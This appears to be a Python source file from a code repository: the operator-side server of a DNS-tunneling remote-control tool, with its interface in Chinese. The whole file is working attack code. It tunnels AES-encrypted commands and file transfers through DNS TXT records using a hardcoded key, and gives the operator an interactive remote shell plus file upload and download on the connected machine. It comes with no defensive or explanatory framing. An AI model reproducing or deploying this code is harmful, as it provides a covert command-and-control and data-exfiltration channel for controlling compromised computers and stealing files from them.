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dns_server.py
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247 lines (217 loc) · 8.35 KB
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import socket
import dnslib
from Crypto.Cipher import AES
import base64
import os
import binascii
class Server:
def __init__(self,host,port):
self.host=host
self.port=port
def connects(self):
global s,address
he = ['cmd--->命令行交互','upload--->文件上传','download--->文件下载','exit--->退出']
hps={'cmd': self.cmd,'upload':self.upload,'download':self.download,'exit':exit}
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind((self.host,int(self.port)))
data,address=s.recvfrom(1024)
print('[+] 来源IP:{},来源端口:{}'.format(address[0],address[1]))
dnsj=self.dnsj(data)
demo=self.jiemi(dnsj[1])
if demo:
print('[+] {}:{}<---->{}:{}'.format(self.host,self.port,address[0],address[1]))
print('+请执行你的操作，如果有问题请输入help')
demos=self.jiami('demo')
fs=self.dnsc(dnsj[0],demos)
s.sendto(fs.pack(),address)
while True:
xw=input('Jarvis:')
if xw in hps:
try:
hps[xw]()
except Exception as r:
print('-- Error:{}'.format(r))
elif xw=='help':
print('')
for h in he:
print(h)
else:
print('-没有这种操作')
continue
def ok(self,value):
jb,jc=s.recvfrom(1024)
dnsj = self.dnsj(jb)
demo = self.jiemi(dnsj[1])
print(demo)
if demo:
demos = self.jiami(value)
fs = self.dnsc(dnsj[0], demos)
s.sendto(fs.pack(),jc)
def dnsj(self,data):
dr=dnslib.DNSRecord.parse(data)
answer=dr.reply()
return answer,dr.questions[0].qname.label[0]
def dnsc(self,answer,data):
answer.add_answer(*dnslib.RR.fromZone('{}.com 60 TXT'.format(data)))
return answer
def add_to_16(self,text):
while len(text) % 16 != 0:
text += '\0'
return str.encode(text)
def jiami(self,data):
key = 'DD194FB8BA97C8BFDA635E3CE76809A2'.encode('utf-8')
text=bytes.decode(base64.b64encode(str(data).encode('utf-8')))
aes = AES.new(key, AES.MODE_ECB)
encrypd = str(base64.encodebytes(aes.encrypt(self.add_to_16(text))), encoding='utf-8').replace('\n', '')
return encrypd
def jiemi(self,data):
key = 'DD194FB8BA97C8BFDA635E3CE76809A2'.encode('utf-8')
aes=AES.new(key,AES.MODE_ECB)
decode_encrypd = aes.decrypt(base64.decodebytes(data))
return bytes.decode(base64.b64decode(bytes.decode(decode_encrypd).rstrip('\0')))
def cmd(self):
self.ok('cmd')
while True:
jb, jc = s.recvfrom(1024)
dnsj = self.dnsj(jb)
demo = self.jiemi(dnsj[1])
if demo!='cmd' and demo !='long':
print(demo)
demos = self.jiami('cmd')
fs = self.dnsc(dnsj[0], demos)
s.sendto(fs.pack(), jc)
elif demo=='long':
changdu=0
jg=b''
demos = self.jiami('long')
fs = self.dnsc(dnsj[0], demos)
s.sendto(fs.pack(), jc)
c,d= s.recvfrom(1024)
dnsj = self.dnsj(c)
demo=self.jiemi(dnsj[1])
if str(demo).isdigit()==True:
changdu+=int(demo)
print(changdu)
demos = self.jiami('{}'.format(changdu))
fs = self.dnsc(dnsj[0], demos)
s.sendto(fs.pack(), d)
while True:
d,e = s.recvfrom(1024)
dnsj = self.dnsj(d)
jg+=dnsj[1]
if len(jg)==changdu:
jmk=self.jiemi(jg)
print(jmk)
fs = self.dnsc(dnsj[0], 'break')
s.sendto(fs.pack(), e)
break
demos = self.jiami('jx')
fs = self.dnsc(dnsj[0], demos)
s.sendto(fs.pack(), e)
else:
shell=input('Jarvis_shell:')
if shell=='exit':
demos = self.jiami('exit')
fs = self.dnsc(dnsj[0], demos)
s.sendto(fs.pack(), jc)
break
demos = self.jiami(shell)
fs = self.dnsc(dnsj[0], demos)
s.sendto(fs.pack(), jc)
def upload(self):
self.ok('upload')
js,jb=s.recvfrom(1024)
jx=self.dnsj(js)
if jx:
changdu=0
bp=input(r'+要上传的文件:')
bt=input(r'+保存文件的位置')
if os.path.exists(bp):
dk=open(bp,'rb')
jm=self.jiami(binascii.hexlify(dk.read()).decode('ascii'))
changdu+=len(jm)
cj=self.dnsc(jx[0],changdu)
s.sendto(cj.pack(),jb)
a = 0
b = 32
for i in jm:
jiaopi, jiaopo = s.recvfrom(1024)
cz = self.dnsj(jiaopi)
jms=self.jiemi(cz[1])
if jms=='break':
jd = self.dnsc(cz[0],'1')
s.sendto(jd.pack(), jiaopo)
break
jd=self.dnsc(cz[0],jm[a:b])
s.sendto(jd.pack(),jiaopo)
a+=32
b+=32
fn,fb=s.recvfrom(1024)
jr=self.dnsj(fn)
jmp=self.jiemi(jr[1])
if jmp:
jmq=self.jiami(bt)
cz=self.dnsc(jr[0],jmq)
s.sendto(cz.pack(),fb)
ig, iq= s.recvfrom(1024)
jg=self.dnsj(ig)
ora=self.jiemi(jg[1])
if ora=='cg':
print('+文件上传成功')
jms=self.jiami('1')
cz=self.dnsc(jg[0], jms)
s.sendto(cz.pack(), iq)
elif ora=='bcg':
print('-文件上传失败')
jms=self.jiami('0')
cz=self.dnsc(jg[0], jms)
s.sendto(cz.pack(), iq)
else:
print('-文件不存在')
cj = self.dnsc(jx[0], 'fuck')
s.sendto(cj.pack(), jb)
def download(self):
self.ok('download')
js, jb = s.recvfrom(1024)
jx = self.dnsj(js)
chang=0
data=b''
if jx:
xw=input('+要下载的目标文件路径:')
jw=input('+保存文件的路径:')
js=self.jiami(xw)
print(js)
cuan=self.dnsc(jx[0],js)
s.sendto(cuan.pack(),jb)
gs,gb=s.recvfrom(1024)
gx=self.dnsj(gs)
if gx[1]==b'bcz':
print('-目标文件不存在')
g=self.dnsc(gx[0],'0')
s.sendto(g.pack(),gb)
else:
chang+=int(gx[1])
g=self.dnsc(gx[0],'1')
s.sendto(g.pack(),gb)
while True:
jiaopi, jiaopo = s.recvfrom(1024)
jxcq=self.dnsj(jiaopi)
data+=jxcq[1]
if len(data) == chang:
cu = self.dnsc(jxcq[0], 'break')
s.sendto(cu.pack(), jiaopo)
break
cu=self.dnsc(jxcq[0],'0')
s.sendto(cu.pack(),jiaopo)
xj=open(r'{}'.format(jw),'wb')
xj.write(binascii.unhexlify(self.jiemi(data)))
xj.close()
if os.path.exists(r'{}'.format(jw)):
print('+文件下载成功')
else:
print('-文件下载失败')
if __name__ == '__main__':
host='192.168.3.75'
port=53
obj=Server(host,port)
obj.connects()